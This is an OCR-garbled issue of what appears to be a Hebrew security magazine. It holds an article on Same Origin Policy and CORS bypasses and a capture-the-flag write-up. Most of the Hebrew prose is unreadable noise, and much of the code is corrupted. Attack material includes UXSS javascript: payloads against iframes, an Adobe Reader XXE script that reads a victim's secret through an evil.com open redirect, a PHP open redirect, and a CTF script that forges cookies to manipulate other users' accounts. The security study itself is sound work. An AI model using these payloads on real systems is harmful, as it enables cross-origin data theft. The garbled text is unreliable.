app. put (/' (req, res){
res . send( 'Hello Put" )

1)

"1l NYvYn nvpa

$. ajax ({
url: 'http://localhost:3001"
type: 'put
success: (data) alert (data)

-1 NYUPI NT1T A1 0N NI vpiald HOPTIONSNPr ND W' NT W X
NX'AWwn @YIONSU O N

cess control check: No "Acc

is therefore not allow

(index):1

NI 2XNnY NIRUT NIUp 1NN wl) X2 D21 PUW' mp1 yveODNN KX

app. put (/" , (req, res){
res . send('Hello Put!" )

)

app. options (/" (req, res){

res . header ( "Access - Control - Allow - Origin® , "*");

res . header ('Access - Control - Allow - Methods', 'POST, PUT, GET, OPTIONS' );
res . header ("Access - Control - Allow - Headers", ™" );

res . header ("Access - Control - Max Age", "86400");

res . send()

})

PUFN Nwp2a NX NYPUFN 9eepTan N0 NIEPEIONS "MW Nt N 21Xna

NX 1BWNNNWPI] 'D ,AN'AW Y'Dp!' | Nl ¥ynn NX DOl O0ON'!
2902 N'NNGEM NWPDIDL 1 ND 119501 NY NIYI YN NX 7' 0Dl )
Al TNt WT' nnl nN'
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http://foo.example/
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10 NN

Isita GET
or HEAD?

JavaScript makes a
cross-domain XHR call

Path of added latency

1
|s the content- No Make OPTIONS call to
ves type standard? server with all custom
: details

Path of standard latency

|
|
1
Make actual XHR 1 ERROR
)
3 1

]https://upload.wikimedia.org/wikipedia/commons/c/ca/Flowchart showing Simple and Preflight XHR3vij p n

11 AN

D 1

NT NNX 1 wNXbokips N XD Wooskies D arddentials NN' Dw 5w 21xna

nb w

N N 2AGETh nvpa NN
GET /resources/access - control - with - credentials/ HTTP/1.1
Host: bar.other
User - Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X10.5;en - US; rv:1.9.1b3pre)

Gecko/20081130 Minefield/3.1b3pre

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept - Language: en - us,en;q=0.5

Accept - Encoding: gzip,deflate

Accept - Charset: ISO  -8859- 1,utf - 8;0=0.7,*;q=0.7
Connection: keep - alive

Referer: http://foo.example/examples/credential.html

Origin: http://foo.example

Cookie: pageAccess=2

on

nape

O N

TWUNN NI DY 15w nal wna preflighttregbest 70U 'Y rRNREIND DO X

credentials Dy N WpcasontrotAllow-Credentials N1 ntrue Y1 van ' T

Y

ni

A

WYl 5N NIl pnn oWilcargd ' ¥r»Nn@n? Nd IND'X XD

HTTP/1.1 200 OK

Date: Mon, 01 Dec 2008 01:34:52 GMT

Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi 12.4.2
DAV/2 SVN/1.4.2

X- Powered - By: PHP/5.2.6

Access - Control - Allow - Origin: http://foo.example

Access - Control - Allow - Credentials: true

Cache- Control: no - cache
Pragma: no - cache
Set - Cookie: pageAccess=3; expires=Wed, 31 - Dec- 2008 01:34:53 GMT

Vary: Accept - Encoding, Origin
Content - Encoding: gzip

Content - Length: 106

Keep- Alive: timeout=2, max=100
Connection: Keep - Alive
Content - Type: text/plain

[text/plain payload]

Same Origin Policy
www.DigitalWhisper.co.il

75 2017 1 83x T x4 L ¥

i |

)
n-\
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cxty s 1 1SOP+dq s {0 X Ty

UK , 1 ®T9Tnn yIn( 0O'11w¥Y DO'2'>2721 0O'19TOH5T2 [ 112a)1
DYV 1 VYX2INnw NI 9pFash JAVAZApplets IXROP .0) POY DWW D' INX 0O'2'D
I'9X D'2a'>21 HSVvI ,D'11 ¢

Ynternet Explorer
| N',8 NMOMSOPM Y| 1.LJA1IN VWIN' Wl 2Nl Opdgivrer, DODmM® 9215
NINYNW | D7y NX nNdotumédnt ppn' AISNW IVIKNMAX] O 1715

document.domain

AMAN2IN | ''NETAanNn O OTNND OOTNXKN O9X ODN''NnNn N'n | D197

var document;
document={ };
document. domain = d6example.org'

A1 0N N'.§lLIMWidowsDll N0 E JTwW N yYCVE2DIB007ANODI1 1 NwOI N
NMX2IN N1 X2 | 112A21nNn0) 7w Pryx TN | PUpivesalkes UXSS |

D' ATPO Y' INDredirect WNT MAONNONPW)Y iframesO NI NRYYIODONIL | N

"1 WN | contexta TN D W

src="redi
src="http w.google.com/images/srpr/logollw.png"

top[@].eval(' =top[1l];alert(); .location="javascript:alert(document.domain)"");

MNMTD 12T XIN Nl pw

redirect.php? Nwp2a yXardramepp NRN | YwWd | DTOHTN

WA T1N aAXWYNDY nvpIrameRINDK NYOLODRN| D@¥ODTn

| | viramei DwvidowProxyn 2wakn NT1 PO NXD 'YVYIPNOIYW NN B yon | 971
N1 Nwn famed wMéndowProxyn NN DV
alert y' opn

NYTI AN NX 11 A0'3 wnnhvwnnwvw 0

TIpN NN pPrT Nl NYNhcatonn 1MMYUA Y Nwnn S

N LVNONgiIPY NNN framewny!l 14 T1 p0

frame 1. 030 EArEITEo0S | ("
frame 2. (2)
script execution : 2]
of frame 1 - |
i [3.1] [3.2] i [3.4)
[3.3]
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]http://blog.innerht.ml/content/images/2015/06/ie.png 1 P N [
frame-n nt n | N7 2 , XN NN NX 71 A0 vynnhnvynnvy n>nhn 005!

Y1t nn lredregtnnNYYA@( NILVNN AXNWYND N1N

OpI NN D wamei | ‘wEgMD Yy SOMTAD VI D XD 0UDH'"IpPON , NN"
-0 D ( LVDONGINMD MNOWMMI YN | DTOHTN , 9Pl NN AINKN D' '"19D0A0N

N1 pNn 1N N2 framemT O N @OIIBYNO1I DY | D221 ) Nnoerign D NN 2Apy
nNatwvn 22apY%1 naovnn

NN 1Y T2 ¥Ynnwvwnn DY nN' XpX12LYI!' N ol

r/logollw.png"

nd();_.location="javascript:alert(document.domain)"

5

NTXINN 2V yYNOY' vYnnwnnw 7'AX NXO1 '+ 5vTIn 7

.CVE2017-0154: X' n N1 INeNNb nMmY2annwy M1t r1yn

Edge
| © Taboltblank T1 nyn Sw | ' '*ni1 TY% NI 0MCVEOLAMOAX'MYUSNIIBN MNA | T

| 21 ndocumentdomain > ¥ TttpYeaxample.com/index.html : 71 Ny > w Edge 2n 121D
?aboutblank 71 nyn 11 2y ) ®@amplegomn' an 52

>V wwwhniadicmac.com 1 NX2 | 1NIN DX TNE223nNnly%am' XKMAYI I N
‘magicmac.com® ¥ | ' ' nl Tabomblank IpNYRI N aynn 1N

B3 Blank page X B - o x
é — O ‘ Search or enter web address ﬂ(‘ = :/_ Q

Address bar empty is not important here
The important thing is that we are really
in about:blank and our domain is still the
referrer (www.magicmac.com)

. about document domai X =+ — x

(m]
& = 0O | magicmac.com TA’| = 2 O

location href = http://www. i com/dom/index html
document.domain = www.magicmac.com

The link below points to "about-blank”

Clicking on this link navigates us to an about:blank with

about:blank’ )
a document.domain that matches the one of this page

Debugger  Network

X Target |_top: aboutblank v

Network -

Console

2
o]

OM Expk Debugger

F12 lorer

location.href
"hittp: //www.magicmac . com/dom/index. html"

X Target |_top: indexhtml v

@]

document .domain

"y . magicmaC . com” magicmac. com”

X » A

]http://www.brokenbrowser.com/wpcontent/uploads/2016/12/0taboutblankpage1024x419.png : 11 p N[

v
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DI pn DI w5 ni1o5n sedicen wifranled? NMPON 1AMTYW I NI N

B sbout document domai X+ — O
é — O | magicmac.com/dom/iframe.htm * | = :/; Ca

location href = http://www magicmac.com/dom/iframe himl
document domain = www.magicmac.com

<iframe></iframe>

DOM Explorer Conscle Debugger Network

X Target | _top: iframe.html A

window[B].location.href
"about:blank"

window[@] .document.domain

"wiw . magicmac.com"

> X » 2
]http://www.brokenbrowser.com/wpcontent/uploads/2016/12/02aboutblankiframe.png : 71 p N[

TNANNN NWARD 1 P22 ,URLI WI N' Ml DNPNX Niframe 'D'wl || W OD' TDINXN Y,
| ©TDO TahootbANk TT'IwYY > D121 DXY 1Y D' VY.

B Blank page x4+ —

O
e — O | aboutblank * | = :f; @

Manually typed "about:blank”
into the address bar.

*

The location is about:blank but the domain is empty!

How much power this about:blank will have?

Qo||lAo| @] 8| X

Target _top: about:blank v
location.href
"about:blank”
document.domain
> X P A

Ihttp://www.brokenbrowser.com/wpcontent/uploads/2016/12/03about-blank-domainless.png : 11 p N[
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| "'"NI T 2T0N KNI

' D11 D0ONX | DY abounbkankb wnpa b nb 1 dabontplanken I X1 M Ol wn 12T
125w "2 1 X' NN Tl nynn ifamey 2y 1Y diffame Twnmwa > 5>

3 Blank page = O X

= Z

This site says...

www.bing.com

|:| Don't let this page Mgate more messages

oK

window[0][0].location.href = "javascript:alert(parent.document.domain)";

]http://www.brokenbrowser.com/wpcontent/uploads/2016/12/05injectscriptbing.png : 171 p n |

| N' 5y 2 ®ask 10D (Y 3 @ewtmsn Yivn' ¥ X555 12T NN A'wny
01 02 NIMIS%WM X1LApY | Nt

Yava applets
| 9TDTAN AX"Ip T Dy JaNaXNWWYDI I RXRDW TN applet D DX N1 D
FANID N' N DWWV RTITN UYNNWNINX DY Jdwpplety 2yawl' 1 X
tag:appletn THIMLN 97T ' D1 X1 3 YFINDXNY D11 X" AVMIHDWUXP' DONX
T PO N1 wrp DYy

code="HelloWorld.class" height ="40" width ="200" /

jarro Y1 W' pooI N

archive ="example.jar" code="HelloWorld" height ="40" width ="200" /

¥ NNLVAIXN NX YNNY 1'"7IX NOD DAapplE&R 1 DWNIVINPDTOT

SOP NN Da nT 21 NXI| ' Dl |

D'2wNY IPENDI MmN QNI X D' N D' 16ud5N1.7017 'MIVWON ' AN N, iINDAIAT
D' 7 N Kamelase#d sharedweb hteg ¥ 21XnN2 ' D> N1 1 DDrigiMU'Ml XY | 11

hostnamen NTW ' 955 NI 1955 [IRMIAVTD MNWIX PV N> ,0' %1 D
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"DVYV2 O'INN NEIYY 20202 NIO512'1 , ITNXKANRI DN' 1Y NI
P N21 N> NNt XN

YAdobe Reader
TAADPA SOP . XWI1 121 NNULVAN 'Dwd1l AdoleveadenDPODANMRD | DTDO1
200 1IN L, | " AYIYNIMIPDON AP WAL I'Y 9DIPOARIDKR' ANTIINI W NXP N
UNNYnNnd S NYTI N YI 95pNPDF NIKK Y1, 1TPYIPI XMA'NNTD W'D T UNND YT
TYRNNY NTONID WUNNYNN 0OVON ' IJTN, 27N ') DNMIAMNNNIIVINYN Y

[ " '*n1 Tn Sya ND

N> n XWilData.parseN' X p IRDEOIIXMID M ' NN Y D Adphe Javascript APINN T vV 2

Nl LAviltoml NXXN1IN NN VW' aplnNouxXM:bl R' D) PEDYNTAOI pnr.

NITv POFYDIMX2Y , D' T1 Ny targetconpsecten' XY @D NNMLT "N M ' W
NNJIN XXBbSXMLNNN T v DRI yedlitect vy X21nn

http://evil.com/wow.pdf:

var xml="<?xml version= \"1.0 \"encoding= \"ISO - 8859- 1\ "?><IDOCTYPE foo [ <IELEMENT foo
ANY><IENTITY xxe SYSTEM
\ "http://evil.com/redirect.php?redir=http%3A%2F%2Fwww.target.com%2Fsecret \ ">]><foo>&xxe;</

foo>";
varxdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value));

170 AXNY tawn TIT
http://evil.com/redirect.php:
| <?php header("Location: ".$_GET['redir); ?> |
NX N19' XXENT hbenifmony MY WY NWpPDFANOYMIMY,Y WwWI 2a' wnnwr

D922 11NN YyI'nn NX Y21 p larget.com/Becret H NW MM NN WMMiY NDX )

| D1 N5 Adobh readerRDF X1 X' 2D INANATW V' A ' Vv T' Adoke 780PWN1 | Np°
N''*190N 5w Toygismm N2RA D' ADOPAD
NI 1wY | Dpenrediredt MXAN O' ' PpY D' ITNX NI N AXXI N NNI X NN

D170 '" X2 Na2ATYN Nl PN, NAYN

XXE) ' ORPDF Nn' n' ' IRDA QXMW Tevihaom "' m' TN Syva 9plnn 0
ANAIN NI X2 N'n' PPAAYRXRIONTI MBAY 97X

| target.com/redirect.php?redir=evil.com/doc.pdf |

T1.Yp I NRADFRY WT1 Ny DN Nl Lunopemredvecih XNWM2 B0 1 NX Y2X121 VW
PDF Y wpnn

http://www.evil.com/evil/index.htmt
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<object
data="http://www.victim.com/redirect.php?redir=http%3A%2F%2Fwww.evil.com%2Fevil%2Fdoc.pdf*

type="application/pdf" height="300" width="300">

PDFY TI1 ny

http://www.evil.com/evil/doc.pdf.

var xml="<?xml version= \"1.0 \"encoding= \"ISO - 8859- 1\ "?><IDOCTYPE foo [ <IELEMENT foo
ANY><IENTITY xxe =~ SYSTEM\ "http://www.victim.com/secret \ ">]><foo>&xxe;</foo>";

varxdoc = XMLData.parse(xml,false);

app.alert(escape(xdoc.foo.value));

211.00 NOMAN KXY GVE2IB062 W21 NN
FXol A

YNNvnn 0DOW1l NI 21IYyD yYyX1A> TI XN Dp n'n 1SOPMY21I 0V1IOU
NISOPD NI INY NWULYITIAIDND ' pPNTI N ITNND WYIYA wnnhvynnw nr

lIwWADbDNW D'X1 02 12NIN NAGRS 'nNn 1Y

, DNXY ND'"195T95TASAPYNI'IMIAA P M2IVON Nl ' X X' NIYd n
N'va X299 ANX NIYY NIw TX Tl pn nv

~ %] S L

.Penetration testing Full Stack Web development p020npa , 11 ' ' 1P | N:

yonatankreiner@gmail.corD' 2 1 p'' N I N NI DNV

‘Firefoxa nwHY1 n
http://blog.bentkowski.info/2016/07 /firefoxsameorigin-policy-bypasscve.html
:Facebookh '3SOPWI Nn' n

https://www.cynet.com/wp-content/uploads/2016/12/BloePostBugSed€CynetFacebook

Originull.pdf
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https://en.wikipedia.org/wiki/Sameorigin policy

https://en.wikipedia.org/wiki/Crossrigin_resource_sharing

https://developer.mozilla.org/eAJS/docs/\Web/Security/Samerigin _policy
https://developer.mozilla.org/efdJS/docs/Web/HTTP/Access control CORS

www.ietf.org/rfc/rfc6454.txt

http://resources.infosecinstitute.com/bypassirgameorigin-policy-sop/

http://www.brokenbrowser.com/uxsssdgedomainlessworld/

https://blog.innerht.ml/ie-uxss/

http://www.sneaked.net/
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http://www.brokenbrowser.com/uxss-edge-domainless-world/
https://blog.innerht.ml/ie-uxss/
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http://62933120s60561450w.xyz 1 T N N2l ND>DnNn DOV D' AX

170 AXIIND OINN 119 axi

T'U¥ann 120N YNT

N1I NDNY NONKNTDN| MNX NIAIND {01121 , NN Sy anlt TKX
DV NI LI T pWIRINMN P DNOQAINNNDIWN MTOWHD INED 1 MPND

Ni V1 ' T BoeogleMaps TTX1 DM N N

= 629331208 60.561450W

62°55'59.2°S 60°33'41.2°'W °
Directions

-62.933120,-60.561450

NX2N N2l NleteplioRisland I P, W D' 10N 'N DV 11T
http://deceptionisland.xyz
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Challenge #1

Welcome back Agent CI

Once again we require your skills for an urgent mission.

Our intelligence officers have intercepted a message between notorious terrorisis
discussing an imminent attack on targets world-wide.

Intel points to a popular chat website used by these terrorists to coordinate and select
rendezvous locations.

Your mission is to track the team online and ascertain their physical location.

The following leads to the web site of the online chat service.

Good luckl,
M.

N2n TInyn 11'1952 AaXIn ATNNKY i

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Reqister

Login
=
About us...

N RPAK7TOI NN NTANXN |1 1ND
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Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster

Register Please enter your registration information below:
Login PlzHireMe B
& | = \ ®
About us.__ PlzHireMe@PlzHireMe_PlzHirele
PlzHireMe]|
)T 2! "' N'N NND'OD wnnun( SQL hvwmn' bwawn Ynwn wa

D'"Yynnwnn

1195

TAN2DYPNOY NPINODMNIMO D' 2QA 1 Nn2>rnomi Nwnn\

NINNX 17T 11wosS@QLI I @85>xknanbxalr RO + 70 5

W' ¥ iREgistationSmatud 1 p1 ! Y21 NINNDNANNAYNIDYN NNwINn

cBased TTI pn 1 NWYYD 1Yy NOyva T

Welcome to ChatMaster™! The #1 chat room service on the

Register
De-register
Registration Status
Login
o

About us...

————————

Allowed Blocked

The following cookies were set when you viewed t

* [1 dec eptionisland.xyz

= [0 Cookies
Welcome to ChatMaster @ aa"enge%te
. . @
ChatMaster Registration Stat
There are 36 users before you in the registration |
You will get notified when your account is active. Remove
Users on the waiting queue Name: eu
PlzHireMe Content: 1
Domain: de
Mr.Li BOb Path: /
Send for: Any kind of connection
Dr. Drek Created:
may_o_nez Expires: When the browsing session ends
tom_HW
agentM
eliXpress

wireless_shark

imdech@tofurlife

8 6
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ccBased TTI pn 115Y wnnwnidecdde YNIND v N AN | Y

.decode(

'PlzHireMe’

-1 NX IDeRegstep 1Y Y I AgEMM' T wMN'wUNN S¥Y I YN NX N'YaAl YD)

N Zfihor

Welcome to ChatMaster

ChatMaster Registration Status

There are 36 users before you in the registration queue.
You will get notified when your account is active.

Something was wrong... Please try again.

Users on the waiting queue

PlzHireMe

D1O'nNY Yol N1 D'11YXKIN N'NIY 12 NINnNnnn NN' wAr
I J2ND2W UOD'IPON DT | ,IN'" Y2 11" NNTMVY pMmT X XX D)
NNXT NILwyb 71>

import requests

names = [
"Mr.Li BOb",
"Dr. Drek",
"may_o_nez
"tom_HW",
"agentM",

PP D

PP D
"britneyspearz",
"johndow"

]

challengeState ="
with open(cookie.txt', 'r') ascookie_file:
challengeState = cookie_file.read().repladet, ")

headers = {
‘UserAgent: 'Mozilla/5.0 (Windows NT 10.0; WOWG64; rv:53.0) Gecko/20100101 Firefox/53.0'

}

for namein names:
cookie = dict(challengeState=challengeStagei=name.encodebase64).replace(\ n', "))
response = requests.gétittp:/deceptionisland.xyz/challengel/deregister; cookies=cookiecheaders=headers)
challengeState = response.cooki&djallengeStatd'

print "Use this session state cookie:# challengeState

I1I9XN 0OD'"IpPpON DWW ANXI

N RPAK7TOI NN NTANXN |1 1ND
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EE C:AWINDOWS\system32iemd.exe — [m} b'e

I 152 phallergeBtata n' A1 YN NOBHY NN OB'"TpPON NXIN

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Register ChatMaster Registration Status
Lz There are 0 users before you in the registration queue.
Registration Status You will get notified when your account is active.

—_— Users on the waiting queue
=2 PlzHireMe

About us...

N2n | 15NN NNX Y2phoginnD' TN MVX MIITWNAY 1A ynnhwn 1

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
@ Chat room selection
Welcome PlzHireMe!
Chatroom membership Available Rooms Selected Rooms
View all chatrooms =
Active users Z;‘ting
Logout news
politics
= sports
About us..
(=== |
N N®W0ALK7TO0Ol NN NTANK |1 1TNDH

www.DigitalWhisper.co.il
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neE X1 | nva

N N 2Ghatmow'T 150N TIXAM 'IXIDYW 'O I Nn 1Y TNY 7
DTPNNY ' T2 | '"NTIXK 11 ¥' KX

Welcome to ChatMaster™! The #1 chat room service on the net!

)

Welcome PlzHireMe!
Chatroom membership
View all chatrooms
Active users
Chat Now!
Logout

=
About us...

Welcome to ChatMaster
The site administrator has not approved your chat room membership yet.
The approval process requires only a short review.
You will receive an email notifying you once the approval process is completed
Thank you for your patience..

o'

NTIXNMN TN

N DV vYnnvn DwWN NX 91 0 TAR'OU 1HDX vy en N
TNND DY

Welcome to

ChatMaster™! The #1 chat room service on the net!

89

Welcome to ChatMaster
@ Recent active users on ChatMaster!
Welcome PlzHireMe!
Chatroom membership
] cheetah PLATINUM
View all chatrooms
: ILove2*ack PLATINUM
Active users
Chat Now! H@ck3ru PLATINUM
Logout chatWiz Admin
(- Justin There Regular
About us... PlzHireMe Regular
')J NDZWOAl(?'IDIT]n TA NN | 1 7NDH

www.DigitalWhisper.co.il

2017 1 83x T x4 L ¥



Technologic

DY nNNX 0' Forgobyounmagsward > v Y N raginil 2T MAylagout >mw v )
115 w!
Welcome to ChatMaster™! The #1 chat room service on the net!
Welcome to ChatMaster
Register Forgot Your Password?
De-reqgister
Registration Status Please enter your username below:
Login User name %
(-]
The admin password for "chatW1z" was successfuly reset. hint: /challenge1/password_hint
Y2l p r1avwnmy mMbimywomnmI) | ' nTRXN 2Y XND' 0N
. PassMasterExtension3_1'dll D®RLh Y21 p 1 D1 N2l
R T rI=:.I::_ ng... 7-Zip
Extract
- | File Edit View Favorites Teols Help
: a
e T X w9 xf
. Move Copy Delete R Add Edract Test Copy Move Delete Info
brtcu tor to-
: : ) ? | Ch\Temp'password_hint.ziph
Organize
Mame Size Pa
| Disk (C: Ti .
al Disk (C) > Temp PassMasterErtensionB_'I.dIl 21 504
| 0% C — O .
{ Elapsed time: 00:00:04 Total size: 21504
Remaining time: Speed:
Files: 0 Processed: 0
Compression ratio: Compressed size: 0
Enter password ¥
Extracting
Enter passwaord:
PassMasterExtensiond_1.dll |[
Show password
Background Pause Cancel
N N®W0ALK7TO0Ol NN NTANK |1 1TNDH
www.DigitalWhisper.co.il
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NI pT NAnNd 1TNXY |, BueFfo@AONMNYWY XTI NI AXDI I XY 1120 , 1N
125W NANXI NN nn'™"n (I D1INTVY ' N
B Ultimate ZIP Cracker 8.0.2.17 - *
Options... About.. Checkfor updates.. Feedback...
Current length:
Percent done: Finished
Testing password:
Speed:
Password found: docl
Copy
Pause...
Ttem Password Action
Password to open docl copy

91 191 MNAINNYX YOLED( ND' 12 W1 @Il pl XIDAIDM@OD M N' NDO
Dw Nl

wnb ' 1>

| 251 AnI X I

Marme

Decrypt

Run
B3 DlEntryPoint

TNNXD

NN ) IDIXYNn

TN XMRUNK NRP DI

‘RUNdD I F D Nnn

COrdinal
1

Address

4

main entry]

N2 NT0AK7TOI nn

TANN | I AND
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decrypt N' XpPIWMMI NI N STannl N' aDecryprt DACryNtPN1'OXap 1NN N YW
NXYI,pAXOBI DY D' 1 HDewHpw | O WNRY N'N'15N N'XpP1rl o> NKX

M'N'"1950 N'Xplrloh
Decrypt2

_OWORD *_cdecl Decrypt2{int a1, size_t Size)
{
; // esi@t
unsigned int w3; // ecx@1

v2 = malloc{Size};

inner_decrypt(Size, {_ int128 =)al, v2};
v3 = B8;

if { Size )

do

*({_BYTE *)u2 + u3) "= byte G6AF249B4[u3 % Bx12];
++ud;

H

while ( v3 < Size };
3
inner_decrypt{Size, v2, v2);
return v2;

Decrypt

; FF edi@

v = malloc{FfOAEPR);
inner_decrypt{fOAEP, ( int128 =)hCrypto, v6);
return {(HRESULT)ub;

H

NIRUN N, XPIL.ONM I T2 N' 19 ' Xpll DY ENCRPEN pIml "INl M T
117 pMRUAY 11 TP MRON PO ¥PIIT DY NTTI A DA
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NX N2y XND'ODON DONI ANINXN NPTI2 ,NND'D ¥nnwnnn Nl
oVn ADTY VI WYODHNDONDIIXNMOD' DDNIN ND' DTnl Nl1o95Xnn nNKX
decrypt? 5522 N1 wp XKD NDIDI NI ONNDY ODNYYWO 'ITAM NDOND D ¥N i

ND1IDJ2I NY NNO' ONMMR | WANRP XDI MXWI NI XA D

NX 91 PyY 21 N11 D21 NNOD' D DLBAOMXN W I NNYN011IWD 011003

T1 paflow-n 228M Twrn o npr Tan

| NODIDAX IADOEATN' 9' X550 NMNYPIIVY PwIrDX

ﬁ Debug application setup: win32 X

Application  C:\Python27\python.exe

Input file C:\Temp'PassMasterExtension3_1.dll
Directory C:\Temp

Parameters  -c “import ctyp

Hostname

settings as default

Ok, Cancel Help

CpRImn 5w 1 TOpl NOffseti (I I I'PaAKtersh nXO NN N1 Wnwd

- ¢ "import ctypes;ctypes.windll.LoadLibrary(r'PassMasterExtension3_1.dII')[5]()" |

N RPAK7TOI NN NTANXN |1 1ND
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NN21IN NOODTI NN  MNAJOI' 'OMY EAXpNND ) 1w ) , NNyt T

& CAPython2T\python.exe — O >

d:

D'N'' 1 0ONn D' OX' XY nwAdminDY N MXYchawilzab ( yyOnimdN'Y 1111y ow ')

Welcome to ChatMaster

Recent chatroom membership approval:

e i

User 'PlzHireMe' would like to access '50+'

AYNNNAIRININLPDR DI M A N MIND2L TMXIM I WYX mI n' v
J 1T IRORANYIRI ' wnnwn

NNXI 1IXY NI XYY 521211 0K2%Y wonepnd NNniTwamaINX |

L

ODX' XY D1D2'nY o

Welcome to ChatMaster™! The #1 chat room service on the net!

@ @ PlzHireMe

Welcome PlzHireMe!
Chatroom membership Hello!... Anyone here?
View all chatrooms
- user cheetah has left the room
Active users
Chat Now!

Logout
]

About us

' Premium YNNwNnY 19502 121'5yYWY 112wNn | 2D , | 'triyn I v
N Ptemium mwy D' wnnwnRorgopPasswos NI wy . DI0N''XNN 22 NN NI
énndxn
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T YWRBII DRI DN NPIMIAN 1N 'W0 'N)

nnox

DV QOhatroemmemberspn NI X MY D N1 0D 2 N

1

Cscript type="text/javascript'>
5 (document) . ready (function(){
$.get]SON ('chatroomList®, { u: ‘apiuser’, p:
$("#btnRefresh’).click(function(}{
$.getISON ('chatroomlist', { u:

‘apipassword’, wtype: '1', rand: '62188305-cabl-4bSd-ac07-f8847eld2a7’, a: '0', si ‘1%, g 'S,

‘apiuser', p: 'apipassword’, utype: '1', rand: '62189305-cabl-4bSd-ab@7-f09847eld2a7’, a: ‘@', s: 1, g: 'S’
15
$("#btnselect’). click(function(){

count = $("#selectedChatRooms option:selected”).length

if (count > @){

alert ('Only one chatroom is allowed!')
else

$('#selectedchatRoons' ) .append($( "#chatRooms option:selected”)[e])

1
$( "#btnRemove ") .click(function(){
count = $("#selectedChatRooms option:selected”).length
if (count > @){
$("#selectedChatRooms option:selected').remove()
$.getISON ('chatroomlist', { u: 'apiuser’, p: 'apipassword’, utype: '1l', rand: '621893@5-cabl-4b5d-a607-fe9847eld2a7’, a: "

i

i
£("#btnsubmit’). click(function(){
selectedRooms = $("#selectedChatRooms option:selected")

var theForm = document. createElement('form’)
theForm.action = "joinrooms”
theForm.method="post"

var room = document.createElement("INPUT");
room. setattribute("type”, "text");
room. setattribute("name”, “room”);
room. setattribute("value”, selectedRooms[@] ? selectedRooms[e].value : "");
theForm. appendChild(room);
document . body . appendChild(theForm);
theForm.submit ();
s
1

function populate(json)
$("#chatRooms option”).remove();
$.each(ison.chatrooms, function(index, item) {

$(*#chatRooms'}.append(’ <option value="' ¢ item +

1

</script>

"Myt o+ dtem + '¢/options’);

lat:

'32.67873', long: '34.78369°}, populate}

, lat: '32.67973°, long: '34.78368'}, populate)

's', lat: '32.07973", long: '34.78369'}, populate)

N! nit*»t+»i1yvnn

$.9etJSON (‘chatroomlList', { u: 'apiuser’, p: 'apipassword’, utype: '1', rand: '62189305
cabl - 4b5d - a607 - f09847e1d2a7', a: '0', s: '1', g: '5', lat: '32.07973", long: '34.78369'},
populate)

Naiml ' p2a | N

http://deceptionisland.xyz/challengel/chatroomList?u=apiuser&p=apgyeord&utype=1&rand

=62189305cab1-4b5d-a607+f09847eld2a7&a=0&s=1&0g=5&|at=32.07973&long=34.78369

"chatrooms": [
"Set",
"art",
“"dating",
"news ",
"politics”,
"sports”

Yot p w! | T RN WH AN ADNKDNXNXN

TN o ani !

UNID YT Ypmd dSw Nl

NN' Yapi NNYYPIMUXRITINXKAN

NXNWYY XPYUD MY Mypa 'Npmunn ' OvDOX

N2 NT0AK7TOI nn
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http://deceptionisland.xyz/challenge1/chatroomList?u=apiuser&p=apipassword&utype=1&rand=62189305-cab1-4b5d-a607-f09847e1d2a7&a=0&s=1&g=5&lat=32.07973&long=34.78369
http://deceptionisland.xyz/challenge1/chatroomList?u=apiuser&p=apipassword&utype=1&rand=62189305-cab1-4b5d-a607-f09847e1d2a7&a=0&s=1&g=5&lat=32.07973&long=34.78369
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N21n

http://deceptionisland.xyz/challengel/chatroomList?utype=0&a=1

pwm'
N1 WIADMINND WY A2

ARCRAR

D'Y2TNN 92 S5¥ AXOS>n nn' v’
{
"chatrooms”: [
"*#just chat*",
"-Mossad challenge solutions-",
"5e+,
"Mobile & gadgets™,
"Platinum dancing club”,
_ chat2ge_ ",
"art",
"computing”,
"dating"”,
"news",
"politics”,
"sports”,
“rural | eRGAdsFury ! e
I
}
:chrome Yapnsoled NX2IN N1 9MVEAREIdSBUBHHANR 1 ' D1 )
var theForm = document.createElement(‘form’)
theForm.action = “joinrooms"
theForm.method="post"
var room = document.createElement("INPUT");
room.setAttribute("type"”, "text");
room.setAttribute("name”, "room");
room.setAttribute("value”, "~~!""WeRGOdsFury!!!~~");
theForm.appendChild(room);
document.body.appendChild(theForm);
the Form.submit ();
NX AXCThatNow ITI ny> 151 , 115w vnnvn? narnNn 112annl1 , 0
NN Ny TI NN
Where are you my friends??? | am already here at: The-bay-
watch'.
Please hurry, and bring the 'kandies’. | have a feeling we're being watched. ..
DN Dra1rn pavHi
http://deceptionisland.xyz/challenge1/finish
P11 URAN 12WN 'Y NI XY D
')J NEQ'\OAI(?'IDITJH 1A NN | 1 7NDH
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Success!

Well Donel

You have successfully finished your 1st mission.

This is your success token:
TViwV1F6cU1jWip1Y3FUaDdIdDZoRDdhZWY4bWdJcFRHQVE5a29uajArNVhiR043Q
WhFZnZsVG90bHYyNzIrUmIRVHIqYXIkNGVVdjd1QTZkWEZGaEE9PQ==

You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

Challenge #2

Well done Agenil

The location you recovered was correct and we dispatched our tactical team.
However, the terrorist group was already gone by the time they arrived. We gathered
enough intel to determine that the terrorisis have planied a bomb on an airplane
somewhere in the world, but we do not know the flight number and/or its destination.

We did however recover a of the bomb from the terrorist meeting.

Our steganography expert insists that the picture contains a hidden message, but she
was unsuccessful in uncovering it before she left on her honeymoon.

We require your assistance in locating and defusing the bomb before it detonates.
There isn't much time._

Good luckl,
M.

N1 NN NX 2api1nNoabhwnnm Yy NPARYI X , N'"DIA121A200 AT
nN21DN
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Nl1innn Sw | 2%n | '2an D'OLOYI1 QI D'12% '"AInad KXY on
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172 NNXX|! niitrnNnnn .| ""2yn I n¥Yyn nll nNn

[ 11 '22 112WMAN KXY MM wIMN'D braillenANAXIVTID PAA FNXNIWN NS
NI 5RYA'TIOYSYICKY M D' wpn "1 X'pa 112l Tnw

DITLVI'NN | N NN LVOD'IPODI VYNNYUNY 112" 5VWY 1120 WK

N1 NNn Y1 Nn yTI'nn NN
https://github.com/RobinDavid/L SBtegangraphy/blob/master/LSBSteq.py

